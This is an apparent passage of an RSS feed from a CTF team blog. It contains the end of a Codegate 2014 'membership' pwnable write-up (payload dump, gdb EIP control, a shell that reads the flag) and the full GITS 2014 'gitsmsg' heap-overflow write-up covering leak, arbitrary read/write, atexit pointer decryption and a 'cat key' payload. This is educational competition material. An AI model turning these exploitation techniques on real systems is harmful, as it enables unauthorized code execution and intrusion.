00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  14 00 00 00 01 00 00 00  |IIII...;........|
00000060  ac af fd bf 14 00 00 00  1c 00 00 00 e4 ff ff ff  |................|
00000070  00 00 00 00 ff ff ff ff  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00  1c 00 00 00 00 00 00 00  |................|
00000090  01 7a 50 4c 52 00 01 7c  08 07 00 44 43 42 41 00  |.zPLR..|...DCBA.|
000000a0  1b 00 00 00                                       |....|
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And corresponding output when we run this payload against the binary:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;(gdb) r &amp;amp;lt; payload
Starting program: /tmp/.ppp/./membership &amp;amp;lt; payload
userid :: password ::
Program received signal SIGSEGV, Segmentation fault.
0x08048e01 in ?? ()
(gdb) c
Continuing.
nested

Program received signal SIGSEGV, Segmentation fault.
0x08048cc5 in ?? ()
(gdb)
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;YAY!!! WE HAVE EIP CONTROL!!!!111!!11!&lt;/p&gt;

&lt;p&gt;Ok, now on to the final and easiest step: getting a shell.&lt;/p&gt;

&lt;h3 id=&quot;give-me-a-shell&quot;&gt;Give me a shell&lt;/h3&gt;

&lt;p&gt;Remember (from a while ago) that there was code that does &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execlp(&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, 0)&lt;/code&gt;?
For those who don’t remember, it’s located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8048E97&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;All we have to do at this point is to replace &lt;strong&gt;0x41424344&lt;/strong&gt; (personality routine pointer) to &lt;strong&gt;0x8048e97&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;AND&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;$ cat payload - | /home/membership/membership
userid :: password :: nested
whoami
membership
cat /home/membership/key
G4R4Ge_BaND_wANNAB3
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Voila! We have our shell (and the flag, of course!)&lt;/p&gt;

&lt;h2 id=&quot;closing&quot;&gt;Closing&lt;/h2&gt;

&lt;p&gt;I hope you enjoyed reading this write-up. (Although I suspect not.. due to its obscene length)&lt;/p&gt;

&lt;p&gt;I apologize that this ended up being a LOT longer than I anticipated when I started writing, but I think it contains quite a bit of details that people can follow and reproduce the result.&lt;/p&gt;

&lt;p&gt;Try it while their server is up!! Otherwise you will have to patch the binary such that the addresses work out.&lt;/p&gt;

&lt;p&gt;Thank you for reading, and feel free to leave comments if you have any questions or suggestions.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Write-up by Cai (Brian Pak) [&lt;a href=&quot;https://www.bpak.org&quot; target=&quot;_blank&quot;&gt;https://www.bpak.org&lt;/a&gt;]&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2014 00:00:00 +0000</pubDate>
        <link>https://pwning.net/pwn/2014/02/27/codegate-2014-membership-800pt-pwnable-write-up/</link>
        <guid isPermaLink="true">https://pwning.net/pwn/2014/02/27/codegate-2014-membership-800pt-pwnable-write-up/</guid>
      </item>
    
      <item>
        <title>gitsmsg</title>
        <description>&lt;h2 id=&quot;tldr&quot;&gt;tl;dr&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gitsmsg&lt;/code&gt; is a messaging server. A heap overflow led to arbitrary read / write and eventual code exec after circumventing RELRO.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Binary and exploit available &lt;a href=&quot;http://ppp.cylab.cmu.edu/wordpress/wp-content/uploads/2014/01/gitsmsg.tar.gz&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-program&quot;&gt;The program&lt;/h2&gt;

&lt;p&gt;First, we reverse engineered much of the binary.
You “login” as a user, then can compose messages to other users. The messages
were saved to a linked list and could be edited before being serialized to disk.
Each message is a tagged union of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{byte,dword,double}{_,array}&lt;/code&gt;
or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;string&lt;/code&gt;. A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;string&lt;/code&gt; indexed into an array of static strings.
A “typical” usage might be:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# After connection, appropriate functions hide the binary protocol.
login(&quot;alex&quot;)
newmessage(to=&quot;andrew&quot;, msg_type=DWORD_ARRAY, count=1, data=17)
newmassage(to=&quot;max&quot;, msg_type=STRING, count=1, data=2)
edit(msgid=0, offset=0, data=14)
delete(msgid=1)
save(0)
disconnect()
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-vulnerability&quot;&gt;The vulnerability&lt;/h2&gt;

&lt;p&gt;In short, when initializing one of the message type, the programmer forgot to
factor the data type width when calculating the message size:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;case DOUBLE_ARRAY:
  size = count;
  size = 8 * count;
  v3 = 8 * count &amp;amp;lt; 0x3FF;
  v4 = 8 * count == 1023;
  v0-&amp;amp;gt;count = count;
  if ( !(v3 | v4) )
    goto LABEL_9;
  data = (char *)malloc(size);
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This eventually gives us a heap overwrite:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;result = readAll(data, size);
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point, it seems relatively straightforward. We will allocate 2 messages,
leaving the heap in this state:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;| message A | data A | message B |
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We then free the first message:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;| &amp;amp;lt;free&amp;amp;gt; | &amp;amp;lt;free&amp;amp;gt; | message B |
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And allocate a new message of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DOUBLE_ARRAY&lt;/code&gt;, allowing us to overwrite and
modify the second message:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;| message C | data C ... essage B |
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our goal will be to overwrite a GOT entry and give us a shell. Since the program
is PIE, we have to leak an address first. We do this by editing the second
message which does 2 things for us: it allows us to put it back into a valid
state, and it will put a address from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.data&lt;/code&gt; segment into the heap (if a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;string&lt;/code&gt; message is edited, it will update the message data pointer to point
to the correct string in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.data&lt;/code&gt; segment).&lt;/p&gt;

&lt;p&gt;Actually, at this point we have an arbitrary read and an arbitrary write
primitive. Since the data for the first message overlaps with the type and
pointer of the second message, we can edit the first message to change the type
of the second. If we change the type of the second message to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dword&lt;/code&gt; and its
pointer to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;address&amp;gt;&lt;/code&gt;, we can get the contents of the second message to read
from that address and edit the contents of the second message to write to that
address.&lt;/p&gt;

&lt;p&gt;Once we have the program base, we use our arbitrary read primitive to leak a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; address. We know it is an Ubuntu machine, so we download a couple versions
of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; and compare the address to the symbol in each of the versions to match
the correct &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; version. We can now overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt; and delete
our message to get a shell!&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;free_addr = arbitrary_read(prog_base + 0x4f2c)
head = prog_base + 0x5160
libc_base = free_addr - 0x781b0
system_addr = libc_base + 0x3d170
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Except this didn’t work — the program had full RELRO support, so the GOT was
read only.&lt;/p&gt;

&lt;p&gt;To get around this, we had to do some painful stuff. We noticed a directory
traversal attack in the login function, and though we could use that to put the
key into the heap (and read it later). Unfortunately, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt;
implementation seemed to clobber the key after it freed the blob. Instead,
our strategy
was to overwrite an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;atexit&lt;/code&gt; handler function pointer located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; with the
address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt; and to overwrite the argument for this handler with a buffer
we controlled. Unfortunately, this function pointer was encrypted. To decrypt,
we computed what the function pointer was supposed to be by leaking an address
from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ld.so&lt;/code&gt; and using the address and the encrypted value to calculate the key.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;rtld_global_ro_address = arbitrary_read(libc_base + 0x1a0ef8)
ld_base = rtld_global_ro_address - 0x20ca0
ld_fini_address = ld_base + 0xf270
encrypted_atexit_handler = arbitrary_read(libc_base + 0x1a21ec)
xor_key = ror(encrypted_atexit_handler, 9) ^ ld_fini_address
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We then encrypted our target address with this key, update the function pointer
to use our new address and updated the argument to point to a buffer we
controlled&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;encrypted_system = rol(system_addr ^ xor_key, 9)
arbitrary_write(libc_base + 0x1a21ec, encrypted_system)
arbitrary_write(libc_base + 0x1a21f0, obj0 + 0x110)
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To trigger our exploit, we just sent the disconnect message (which fortunately
didn’t disconnect the socket). For our final exploit, we used the payload
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat key &amp;gt;&amp;amp;4&lt;/code&gt; to dump the key to the already open socket.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;$ python gitsmsg.py
Deleting messages ...
Performing overflow ...
Editing ...
Getting ...
Getting libc base ...
Getting ld base ...
Writing encrypted function pointer ...
The key is: lol, tagged unions for the WIN!
*** Connection closed by remote host ***
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Sun, 19 Jan 2014 00:00:00 +0000</pubDate>
        <link>https://pwning.net/pwn/2014/01/19/gits-gitsmsg/</link>
        <guid isPermaLink="true">https://pwning.net/pwn/2014/01/19/gits-gitsmsg/</guid>
      </item>
    
  </channel>
</rss>
